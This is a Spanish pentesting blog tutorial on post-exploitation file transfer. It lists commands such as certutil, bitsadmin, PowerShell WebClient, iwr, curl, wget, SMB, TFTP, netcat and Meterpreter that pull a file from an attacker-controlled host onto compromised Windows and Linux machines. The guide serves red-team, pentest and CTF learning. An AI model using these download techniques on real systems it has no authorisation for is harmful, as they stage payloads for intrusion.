Post-Explotación Transferir Archivos entre Windows y Linux
Post-Explotación Transferir Archivos entre Windows y Linux

Post-Explotación: Transferir Archivos entre Windows y Linux

La transferencia de archivos se considera uno de los pasos más importantes en la Post Exploitation (Post-Explotación). Por lo tanto, hoy en este artículo vamos a poner de relieve las diversas técnicas que pueden ser utilizados por el Pentester para transferir archivos a la máquina víctima (Windows y Linux)

La siguiente guía sobre la transferencia de archivos está muy enfocada a los que realizan Red teaming y Penetration testing y también entre los que resuelven los CTF en el campo de la seguridad. Así que vamos a ver las diferentes manera para transferir el archivo en la máquina de la víctima.

Transferir de archivos entre Windows y Linux
Transferir de archivos entre Windows y Linux

En resumen, estos son los datos de ejemplo:

  • Máquina atacante: Parrot OS (Linux)
  • Máquina víctima: Windows (Windows) y Parrot OS (Linux)
  • Archivo a transferir: Putty.exe

Cabe resaltar que los comandos ejecutados en Windows deberían ejecutarse desde la misma shell de la máquina atacante. En estos ejemplos, los comandos fueron ejecutados desde el mismo ordenador Windows de ejemplo.

Transferencia de Archivos Windows

IWR (Invoke-Web Request)

Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con “SimpleHTTPServer” en el puerto 80 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.

python -m SimpleHTTPServer 80

Máquina víctima: Abre una nueva pestaña en la terminal en Kali. Como ya hemos explotado la máquina víctima (por ejemplo, utilizando Metasploit), vamos a utilizar Netcat para recibir la conexión entrante de la máquina atacante. Una vez hecho esto, vamos a ejecutar el comando PowerShell en la máquina víctima para descargar el archivo de la máquina atacante en el directorio de salida dado. Al comprobar el directorio Temp, se puede ver que el archivo putty.exe que ha sido transferido.

Nota

iwr significa Invoke-Web Request, que forma parte de la utilidad Microsoft PowerShell.


nc -lvp 4444
Conexión entrante con Netcat
Conexión entrante con Netcat
powershell.exe -command iwr -Uri http://192.168.1.15/putty.exe -OutFile C:\Temp\putty.exe "
dir
Uso de iwr en PowerShell
Uso de iwr en PowerShell

Hay veces que se quiere hacer uso de comandos acortados. Por lo tanto, en lugar de -Outfile, haremos uso de -o para mencionar la ruta de salida como se muestra a continuación. Puedes ver que usando este comando, puedes descargar el archivo putty.exe de la máquina atacante.

powershell.exe iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exe

Hay otro método para utilizar el mismo comando de la manera más corta posible. Así que aquí tienes que ejecutar PowerShell en la máquina víctima e introducir el comando como se muestra en la imagen siguiente.

powershell
iwr -uri 192.168.1.15/putty.exe -o C:\Temp\putty.exe
dir

Certutil

El propósito de certutil era originalmente para la gestión de certificados y CA, pero también puede ser utilizado para la transferencia de archivos.

Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.

Máquina víctima: Hacer uso del siguiente comando para descargar el archivo desde la máquina atacante. Para el comando, ha mencionado la dirección IP/archivo y luego el nombre del archivo de salida. El -f en el comando generalmente fuerza la sobreescritura.

certutil -urlcache -f http://192.168.1.2/putty.exe putty.exe
Certutil para transferencia de archivos
Certutil para transferencia de archivos

El mismo comando puede usarse con un -split adicional que divide a los elementos ASN.1 incrustados y luego los guarda en archivos.

certutil -urlcache -split -f http://192.168.1.2/putty.exe putty.exe

Bitsadmin

Máquina de la víctima: El parámetro /transfer en bitsadmin es una de las formas más sencillas de descargar el archivo de la máquina atacante. Al principio, necesitamos definir el nombre de visualización de la transferencia. Aquí lo nombramos como job.

Después de definir el nombre, ahora coloca la ruta del archivo a descargar, es decir, putty.exe en la máquina atacante. Al final, introduce el nombre del archivo a descargar y la ruta de salida que hemos llamado putty.exe

Uso de Bitsadmin con Transfer
Uso de Bitsadmin con Transfer
bitsadmin /transfer job https://the.earth.li/~sgtatham/putty/latest/w64/putty.exe C:\Temp\putty.exe
Bitsadmin para transferir archivos
Bitsadmin para transferir archivos

Curl

Curl es una herramienta de línea de comandos de Linux que se utiliza para compartir datos de un servidor a otro y que ahora también está disponible en el CMD de Windows.

Máquina atacante: Podemos utilizar el mismo servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.

Máquina víctima: En la máquina víctima, ejecuta el siguiente comando para descargar el archivo desde la máquina atacante.

curl http://192.168.1.15/putty.exe -o putty.exe
dir
Curl para transferencia de archivos
Curl para transferencia de archivos

Wget

Su trabajo es recuperar el contenido de los servidores web disponibles. Ahora descargaremos un archivo desde la máquina atacante usando PowerShell en la máquina víctima.

Máquina atacante: Ejecuta el servidor SimpleHTTP en el puerto 80 de la máquina atacante para enviar el archivo desde ese directorio.

Máquina víctima: Abre Powershell en la máquina Windows y ejecuta el siguiente comando. Menciona la ruta desde la que se descargará el archivo y, a continuación, indique la ruta de salida para guardar el archivo putty.exe.

powershell
wget http://192.168.1.15/putty.exe -OutFile putty.exe
dir
Wget para transferencia de archivos
Wget para transferencia de archivos

Puede utilizar el mismo comando de forma diferente haciendo uso de PowerShell en el propio comando.

powershell.exe wget http://192.168.1.15/putty.exe -OutFile putty.exe

Powershell

En PowerShell tienes un comando para acceder a la shell en Windows que se puede utilizar para descargar cualquier archivo de servidor web. Ejecuta el siguiente comando en el Powershell de la máquina víctima como administrador.

powershell.exe (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.15/putty.exe', 'putty.exe')
PowerShell para transferencia de archivos
PowerShell para transferencia de archivos

SMB Server

SMB es un protocolo destinado a la comunicación para proporcionar acceso compartido a los archivos, puertos, etc. en una red. Veamos cómo podemos utilizarlo para transferir archivos desde la máquina atacante a la máquina víctima.

Máquina atacante: En el atacante, la máquina va al directorio desde el que se va a transferir el archivo. Entonces vamos a hacer uso de Impacket-smbserver para compartir este archivo desde la máquina local. La importancia del share aquí es que convierte la larga ruta del archivo en un único directorio compartido. El mismo comando impacket puede ser ejecutado de dos maneras. Veremos cada una de ellas, una tras otra.

En el comando de abajo compartimos el archivo del directorio, pero en lugar de mencionar la ruta completa, escribimos pwd que significa el directorio de trabajo actual.

impacket-smbserver share $(pwd) -smb2support
Transferir archivos con SMB Server
Transferir archivos con SMB Server
Uso de Impacket-smbserver
Uso de Impacket-smbserver

A la hora de utilizar el comando de forma diferente, la única variación es que mencionamos el directorio actual en el comando como se muestra a continuación:

impacket-smbserver share /root/Descargas/test -smb2support

Máquina víctima

En la máquina víctima, para descargar el archivo de la máquina atacante se utiliza el comando copy.

copy \\192.168.1.15\share\putty.exe
dir

También puedes hacer uso del comando net use para conectarte a la carpeta compartida. A continuación, utiliza el comando copy para descargar el archivo de la máquina atacante.


net use \\192.168.1.15\share
net use
copy \\192.168.1.15\share\putty.exe
dir

Nota

En caso de que el atacante esté utilizando un sistema operativo diferente donde Impacket no está instalado por defecto, entonces se puede utilizar el siguiente método instalando manualmente Impacket smb-server desde github.

Dark Mode

El comando para la máquina atacante, seria el siguiente:

python3 smbserver.py share /root/test -smb2support

TFTP

El servicio TFTP se utiliza para leer y escribir los archivos de la conexión remota, que funciona en el puerto 69 estableciendo una conexión UDP.

Máquina atacante: En la máquina atacante, vamos a crear un directorio y alojar el archivo putty.exe

Ahora, abramos Metasploit y utilicemos el módulo TFTP existente para compartir archivos. Aquí es necesario introducir la dirección IP de la máquina atacante y también la ruta del directorio para descargar el archivo y explotar.

Exploit en Metasploit con TFTP
Exploit en Metasploit con TFTP

Máquina víctima: En la máquina víctima, para descargar el archivo desde la máquina atacante se hace uso del comando TFTP. Ahora puedes ver el putty.exe en el sistema víctima.

tftp -i 192.168.1.15 GET putty.exe
TFTP para transferencia de archivos
TFTP para transferencia de archivos

FTP

FTP significa File Transfer Protocol (Protocolo de Transferencia de Archivos) cuyo trabajo es compartir archivos a través de los sistemas. Usando FTP puedes descargar el archivo en el sistema de Windows de la víctima poniendo el nombre de usuario y la contraseña correctos como se muestra a continuación. Puedes utilizar el comando get si hay más de un archivos presente requerido.

ftp 192.168.1.15
get file.txt
dir

Transferencia de archivos Linux

HTTP

Ha sido uno de los métodos más favorables para la transferencia de archivos. Veamos las diversas formas en que podemos utilizar HTTP para transferir archivos.

Servidor web PHP

Máquina atacante: El comando PHP se utiliza para iniciar el escuchador/listener HTTP para compartir archivos, yendo al directorio donde está el archivo y ejecutándolo.

php -S 0.0.0.0:8080
Servidor web PHP para transferir archivos
Servidor web PHP para transferir archivos

Máquina de la víctima: En el navegador web de la máquina víctima hay que escribir la dirección IP del atacante con su número de puerto y el nombre del archivo para descargarlo de la máquina atacante.

192.168.1.15:8080/putty.exe
Descargar archivo desde Servidor web PHP
Descargar archivo desde Servidor web PHP

Apache

Máquina atacante: El servicio Apache debe ser activado en tu máquina antes de transferir el archivo a través de los directorios web y luego mover cualquier archivo en el directorio HTML para compartirlo. Luego reinicia el servicio apache.

cp putty.exe /var/www/html
service apache2 restart
Apache2 para transferencia de archivos
Apache2 para transferencia de archivos

Máquina de la víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el nombre del archivo para descargarlo desde la máquina atacante.

192.168.1.15/putty.exe
Descargar archivo desde Apache
Descargar archivo desde Apache

Simple HTTP server

Máquina atacante: Vamos al directorio local desde donde se va a subir el archivo a la máquina víctima. El comando Python que se ejecuta con SimpleHTTPServer en el puerto 8000 crea e inicia instantáneamente el servidor web para acceder y transferir los archivos en el directorio de trabajo actual en el que se abre. Este es uno de los métodos más simples para transferir archivos.

python -m SimpleHTTPServer

Si tienes la versión Python3 también puedes usar el comando como se muestra en la imagen de abajo.

python3 -m http.server 8000
SimpleHTTPServer para transferir archivos
SimpleHTTPServer para transferir archivos

Máquina víctima: En el navegador web de la máquina víctima hay que mencionar la dirección IP del atacante y el número de puerto para listar el contenido del directorio para descargar el archivo de la máquina atacante.

192.168.1.15:8080
Descargar archivos desde SimpleHTTPServer
Descargar archivos desde SimpleHTTPServer

Curl

Es una herramienta de línea de comandos que se utiliza para transferir datos. También se utiliza para descargar los datos de la máquina del atacante.

Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.

curl -O http://192.168.1.15/putty.exe
Compartir archivos con Curl
Compartir archivos con Curl

Wget

También es una herramienta de línea de comandos de Linux que se utiliza para descargar el archivo desde la máquina del atacante.

Máquina víctima: Ahora ejecuta el siguiente comando para descargar el archivo en la máquina víctima.

wget 192.168.1.15/putty.exe
Compartir archivos con Wget
Compartir archivos con Wget

Netcat

Netcat es conocido como la navaja suiza que se utiliza para múltiples propósitos por lo que vamos a utilizarlo en la transferencia de archivos.

Máquina atacante: Utiliza el siguiente comando para descargar el archivo de la máquina atacante

nc -lvp 5555 > archivo.txt

Máquina víctima: Ahora en la máquina víctima ejecute el siguiente comando para descargar el archivo.

 nc 192.168.1.15 5555 < archivo.txt

Ahora puedes descargar el archivo para leer tu contenido.

SCP

SCP es el acrónimo de Secure Copy Protocol (protocolo de copia segura) que sirve para transferir archivos de forma segura entre el host local y un host remoto. Se basa en el protocolo SSH.

Máquina atacante: Crea un nuevo archivo miarchivo.txt y luego transfiere este archivo a una máquina remota con la ayuda del siguiente comando.

scp file.txt kali@192.168.1.15:/tmp

Máquina víctima: En la máquina víctima, ve al directorio /temp y utiliza el comando cat para leer el contenido del archivo.

SMB-Client

Máquina atacante: El servicio smbclient puede ser utilizado para acceder a la carpeta compartida del servidor smb. Vamos a ejecutar el comando que se indica a continuación para acceder a la carpeta compartida del servidor.

smbclient -L 192.168.1.15 -U esgeeks
smbclient  //192.168.1.15/share -U password
Transferir archivos con SMB-Client
Transferir archivos con SMB-Client

Máquina víctima: A continuación, vamos a comprobar el archivo en el directorio compartido. Podemos descargarlo usando el comando get y leer su contenido usando el comando cat.

Meterpreter

Máquina del atacante: Al comprometer la máquina de la víctima, utilizando meterpreter podemos ejecutar el siguiente comando para descargar el archivo de la máquina del atacante.

meterpreter > download putty.exe /home/esgeeks
Descargar archivos con Meterpreter
Descargar archivos con Meterpreter

FTP

Máquina atacante: Ahora vamos a instalar la biblioteca python-FTP usando el comando pip. Luego usa el comando python3 para compartir el archivo usando FTP. Establece un nombre de usuario y una contraseña para ello.

Nota

Aquí la ‘p’ en minúsculas representa el número de puerto y la ‘P’ en mayúsculas representa la contraseña.

pip install pyftpdlib
python3 -m pyftpdlib -p 21 -u esgeeks -P root
Instalar biblioteca Python FTP
Instalar biblioteca Python FTP

Máquina víctima: En la máquina víctima utiliza el comando FTP con la dirección IP de la máquina del atacante, introduce el nombre de usuario y la contraseña. Utilizando el comando get, puedes descargar el archivo en la máquina víctima.

ftp 192.168.1.5
Transferir archivos con FTP
Transferir archivos con FTP

También puedes descargar el archivo en la máquina víctima desde el navegador, introduciendo el nombre de usuario y la contraseña.

Aquí puedes ver el directorio listado y el archivo está listo para descargar.

ftp://192.168.1.5
Descargar a través FTP
Descargar a través FTP

Conclusión

En esta publicación hemos examinado algunos métodos que puedes utilizar para transferir archivos hacia y desde una máquina objetivo utilizando algunas de las técnicas de post explotación publicadas en este blog.

El contenido está inspirado en la publicación original de Jeenali Kothari, una entusiasta de la ciencia forense digital que disfruta escribiendo contenido técnico.

Mi Carro Close (×)

Tu carrito está vacío
Ver tienda